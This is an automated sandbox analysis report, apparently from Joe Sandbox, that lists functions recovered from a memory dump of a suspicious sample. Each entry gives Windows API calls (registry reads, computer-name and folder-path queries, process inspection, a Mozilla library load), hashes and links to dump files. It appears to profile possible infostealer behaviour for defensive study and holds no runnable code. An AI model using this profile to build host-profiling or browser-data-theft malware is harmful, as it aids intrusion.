Opcode Fuzzy Hash: 696d6c0763dfa147f2ffb5b66998b4de2897699f6f55e33ebc377f07a6f895e3
Instruction Fuzzy Hash: 3921C231742614ABDF15FA65DC84FAE72BAAB46744F50051EF903E7B84DB60A80887A1

Function 005A30D0 Relevance: 7.6, APIs: 5, Instructions: 61registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005A3106
HeapAlloc.KERNEL32(00000000), ref: 005A310D
RegOpenKeyExA.KERNEL32(80000002,011DA6C8,00000000,00020119,00000000), ref: 005A312C
RegQueryValueExA.KERNEL32(00000000,011E0B18,00000000,00000000,00000000,000000FF), ref: 005A3147
RegCloseKey.ADVAPI32(00000000), ref: 005A3151

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: fe037ec1d033b4bf5e9dc01ccd2b0a86d1a1e18704fef1d0f553e20ed2e6a760
Instruction ID: 1b312ff61a2e0b51c5de9a9257588d37d568380c688fa0e43a52a17b27367cf4
Opcode Fuzzy Hash: fe037ec1d033b4bf5e9dc01ccd2b0a86d1a1e18704fef1d0f553e20ed2e6a760
Instruction Fuzzy Hash: A5116072A00205AFD710DB98DC49FBBBBBCF744711F00422AFA1592280DB745900CBA1

Function 0059EFE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0059F013
StrCmpCA.SHLWAPI(?,ERROR,?,?,?,?,?,?,?,?,?,0059F54D), ref: 0059F02E
lstrcpy.KERNEL32(00000000,ERROR), ref: 0059F08F

Strings

ERROR, xrefs: 0059F028, 0059F089

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: ERROR
API String ID: 3722407311-2861137601
Opcode ID: cbcd7eff352e0bee7f58cb9f44b779aa865d00b085cbeab078eb9027506155ac
Instruction ID: 9f0a6991f5b243a6284566f02390fbc7a2f9d97ea77d40890396d720b6fe3b26
Opcode Fuzzy Hash: cbcd7eff352e0bee7f58cb9f44b779aa865d00b085cbeab078eb9027506155ac
Instruction Fuzzy Hash: ED21CE70A1024B9BCF24BFB9D84EA9E3FE8BF44700F445564FC59EB252DA34E8518B90

Function 005A5930 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 005A5942

Part of subcall function 005AA1A3: std::exception::exception.LIBCMT ref: 005AA1B8
Part of subcall function 005AA1A3: __CxxThrowException@8.LIBCMT ref: 005AA1CD
Part of subcall function 005AA1A3: std::exception::exception.LIBCMT ref: 005AA1DE

std::_Xinvalid_argument.LIBCPMT ref: 005A5955

Strings

string too long, xrefs: 005A593D, 005A5950
Sec-WebSocket-Version: 13, xrefs: 005A5947

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: Sec-WebSocket-Version: 13$string too long
API String ID: 963545896-3304177573
Opcode ID: fa55c396928f73f69ad178ee80f7e8f54b569032fe75a47fb24ed0d7f17ec372
Instruction ID: 2647d7f0a35c7126b3e132980af13f4edcad9cf94cdf59c70c6a1b7f52786625
Opcode Fuzzy Hash: fa55c396928f73f69ad178ee80f7e8f54b569032fe75a47fb24ed0d7f17ec372
Instruction Fuzzy Hash: DA113031308B41CFD7259B2CE800B1E7BE5BBD3760F250B5DE0918B69AE761D845C7A5

Function 0059E640 Relevance: 6.2, APIs: 4, Instructions: 157stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0059E68B
lstrcpy.KERNEL32(00000000,?), ref: 0059E6C0
lstrcatA.KERNEL32(?,00000000), ref: 0059E6CC
lstrcatA.KERNEL32(?,011E0CD8), ref: 0059E6E5

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$FolderPathlstrcpy
String ID:
API String ID: 818526691-0
Opcode ID: 49b43291ae9d3ab91f101c81768e604007a458dbc9b819b271ad9b5bdedd3b34
Instruction ID: b98d67ec840dc4d650cd7422a4c1439346b4af27a56c85cc7405b67d30445a12
Opcode Fuzzy Hash: 49b43291ae9d3ab91f101c81768e604007a458dbc9b819b271ad9b5bdedd3b34
Instruction Fuzzy Hash: 54519475100205AFD754FB64DC4AFAF3BE8FBC4340F40C929BD5593291DE34A94A8BA6

Function 0059ECD0 Relevance: 6.1, APIs: 4, Instructions: 90stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0059ED14
lstrcpy.KERNEL32(00000000,?), ref: 0059ED43
lstrcatA.KERNEL32(?,00000000), ref: 0059ED51
lstrcatA.KERNEL32(?,011E04A8), ref: 0059ED6C

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$FolderPathlstrcpy
String ID:
API String ID: 818526691-0
Opcode ID: 8152d4f1f03e013be739f072eaf38f458595174f3f24f12a8fa81b3487b2ce45
Instruction ID: d673d2a743ff671ffa6d81d94c4ff9fa4915e3ce277f4d584faed5d41429265b
Opcode Fuzzy Hash: 8152d4f1f03e013be739f072eaf38f458595174f3f24f12a8fa81b3487b2ce45
Instruction Fuzzy Hash: 41319271A1011AABCB10FFA8DC49BED7BB8BF84700F4045A4FE45A7251DE34AE858B94

Function 005A44A0 Relevance: 6.0, APIs: 4, Instructions: 40stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,00000000), ref: 005A44B2
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005A44CD
CloseHandle.KERNEL32(00000000), ref: 005A44D4
lstrcpy.KERNEL32(00000000,?), ref: 005A4507

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcesslstrcpy
String ID:
API String ID: 4028989146-0
Opcode ID: 4d6f316bbed234e47d97e5b9b0c2f7c9abe9852b3b38eef101e24744c4dbd562
Instruction ID: 68736cc175c581efa9cb912630fc4ebd97b2c2559bd0a8928eee9d17a91ba5a2
Opcode Fuzzy Hash: 4d6f316bbed234e47d97e5b9b0c2f7c9abe9852b3b38eef101e24744c4dbd562
Instruction Fuzzy Hash: 93F0F6B09012152FEB20ABB49C4DFEABEA8BF59700F0481A0FB55D6180DBF48C84CF94

Function 005A0946 Relevance: 5.9, APIs: 4, Instructions: 910stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

lstrcpy.KERNEL32(00000000,?), ref: 005A09AD

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: ffa144a58e489a7c5e08b7e93f364bd67505d2b7c29065bd3bbf00906f213b85
Instruction ID: 99c8cd3985d76710cded135fb5999f2dd4777ef663cb7f0cf8c620b527f5a3d5
Opcode Fuzzy Hash: ffa144a58e489a7c5e08b7e93f364bd67505d2b7c29065bd3bbf00906f213b85
Instruction Fuzzy Hash: F9823A74A016058FDB64DF29C488B68BBF0BF4A314F19C1ADD8099B2A2DB35DC86CF55

Function 005A097D Relevance: 5.9, APIs: 4, Instructions: 901stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 005A09AD

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a766ebe0825b4f6f64ea46aa14b8b6962502cc98c12061e2e4eb87d8fc9bfb0f
Instruction ID: d947c51eabb7b65cae2399ef383122553811d528edd00e1fc361733275eda32e
Opcode Fuzzy Hash: a766ebe0825b4f6f64ea46aa14b8b6962502cc98c12061e2e4eb87d8fc9bfb0f
Instruction Fuzzy Hash: BD822A74A016058FDB64DF29C488B69BBF0BF4A314F19C1ADD8099B2A2DB35DC82CF55

Function 00593770 Relevance: 5.5, APIs: 4, Instructions: 490stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

lstrcpy.KERNEL32(00000000,?), ref: 005937CE
lstrcpy.KERNEL32(00000000,?), ref: 005937F7
lstrcpy.KERNEL32(00000000,?), ref: 0059381D
lstrcpy.KERNEL32(00000000,?), ref: 00593843

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 20d43d7be0244627e230918458655aa110986f0ece074e1a464fac2f9aebfc05
Instruction ID: c2a45d7d2e40bb9e270022d7e4afeceb09542e9d12ceb035c477094297f70bff
Opcode Fuzzy Hash: 20d43d7be0244627e230918458655aa110986f0ece074e1a464fac2f9aebfc05
Instruction Fuzzy Hash: A512F870A01605CFDF28CF19C548B25BBE5BF44728B29C1AEE8199B3A2D776DD42CB44

Function 005A0A21 Relevance: 4.6, APIs: 3, Instructions: 852stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005A7210: lstrcpy.KERNEL32(00000000,ERROR), ref: 005A722E

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,?), ref: 0058602F
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 00586082
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 005860B5
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 005860E5
Part of subcall function 00586000: lstrcpy.KERNEL32(00000000,005AD014), ref: 00586120

Part of subcall function 00598470: strtok_s.MSVCRT ref: 00598493

Part of subcall function 005823E0: lstrcpy.KERNEL32(00000000,?), ref: 00582434
Part of subcall function 005823E0: lstrcpy.KERNEL32(00000000,?), ref: 0058245A
Part of subcall function 005823E0: lstrcpy.KERNEL32(00000000,?), ref: 00582483

lstrcpy.KERNEL32(00000000,011DD608), ref: 005A0B18
lstrcpy.KERNEL32(00000000,?), ref: 005A0BAC
lstrcpy.KERNEL32(00000000,011DD608), ref: 005A0D4E
lstrcpy.KERNEL32(00000000,?), ref: 005A0DE2
lstrcpy.KERNEL32(00000000,?), ref: 005A0E32

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s
String ID:
API String ID: 2610293679-0
Opcode ID: 26c2bd463ef5ad373462955db216de396905133ba49af3decadd558948c85bde
Instruction ID: 7a90b0694a5a782188507dbf89d5032106cfb0c2d98ad04fcd8477fe8b50ed97
Opcode Fuzzy Hash: 26c2bd463ef5ad373462955db216de396905133ba49af3decadd558948c85bde
Instruction Fuzzy Hash: 32721A74A016058FDB64DF29C488B68BBE1BF4A314F1DC1ADD4099B2A2DB36DC82CF55

Function 005A0A80 Relevance: 4.6, APIs: 3, Instructions: 831stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

Part of subcall function 005823E0: lstrcpy.KERNEL32(00000000,?), ref: 00582434
Part of subcall function 005823E0: lstrcpy.KERNEL32(00000000,?), ref: 0058245A
Part of subcall function 005823E0: lstrcpy.KERNEL32(00000000,?), ref: 00582483

lstrcpy.KERNEL32(00000000,011DD608), ref: 005A0B18
lstrcpy.KERNEL32(00000000,?), ref: 005A0BAC
lstrcpy.KERNEL32(00000000,011DD608), ref: 005A0D4E
lstrcpy.KERNEL32(00000000,?), ref: 005A0DE2
lstrcpy.KERNEL32(00000000,?), ref: 005A0E32

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 98c25ff426d4313dad07f47afa34c53c3acfce512876e94cbb5342f5967a2932
Instruction ID: 94c76285569af3dd16919eb3406869d1d0eb27803077faa7b53dab68dad8b7c0
Opcode Fuzzy Hash: 98c25ff426d4313dad07f47afa34c53c3acfce512876e94cbb5342f5967a2932
Instruction Fuzzy Hash: C0721B34A016058FDB64DF29C488B68BBE1BF4A314F1DC1ADD4099B2A2DB36DC82CF55

Function 005A2A70 Relevance: 4.5, APIs: 3, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 005A2A9F
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 005A2AA6
GetComputerNameA.KERNEL32(00000000,00000104), ref: 005A2ABA

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 62eff857eaa695f6d275368e864916ebc019e891395c95902d097d577c95e483
Instruction ID: 8ffca3b255912b5299580be17cfaafc799c4d9fb7d3bcb4b1a1cc0e3ab64b2a1
Opcode Fuzzy Hash: 62eff857eaa695f6d275368e864916ebc019e891395c95902d097d577c95e483
Instruction Fuzzy Hash: 0A012672A44604ABC710DF98EC49BAEFBBCF744B21F00022AFA14D3780D3781900C7A1

Function 6C453060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C453095

Part of subcall function 6C4535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DF688,00001000), ref: 6C4535D5
Part of subcall function 6C4535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4535E0
Part of subcall function 6C4535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4535FD
Part of subcall function 6C4535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C45363F
Part of subcall function 6C4535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C45369F
Part of subcall function 6C4535A0: __aulldiv.LIBCMT ref: 6C4536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C45309F

Part of subcall function 6C475B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4756EE,?,00000001), ref: 6C475B85
Part of subcall function 6C475B50: EnterCriticalSection.KERNEL32(6C4DF688,?,?,?,6C4756EE,?,00000001), ref: 6C475B90
Part of subcall function 6C475B50: LeaveCriticalSection.KERNEL32(6C4DF688,?,?,?,6C4756EE,?,00000001), ref: 6C475BD8
Part of subcall function 6C475B50: GetTickCount64.KERNEL32 ref: 6C475BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C4530BE

Part of subcall function 6C4530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C453127
Part of subcall function 6C4530F0: __aulldiv.LIBCMT ref: 6C453140

Part of subcall function 6C48AB2A: __onexit.LIBCMT ref: 6C48AB30

Memory Dump Source

Source File: 00000000.00000002.1980653967.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1980639922.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1980697850.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1980714845.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1980728615.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_glpEv3POe7.jbxd

Similarity

